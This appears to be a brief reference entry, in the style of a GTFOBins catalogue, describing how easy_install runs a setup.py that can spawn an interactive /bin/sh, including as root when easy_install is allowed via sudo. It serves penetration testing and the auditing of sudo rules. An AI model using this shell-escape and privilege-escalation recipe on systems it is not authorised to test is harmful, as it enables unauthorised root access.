Inherit

This executable can inherit functions from another.

Comment
This allows to run Python code (...). It executes a Python script named setup.py in the directory passed as argument (.).

Keep in mind that the TTY is lost, so /dev/tty can be used, for example:
```
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
```
Unprivileged
This function can be performed by any unprivileged user.
```
echo '...' >setup.py
easy_install .
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '...' >setup.py
easy_install .
```
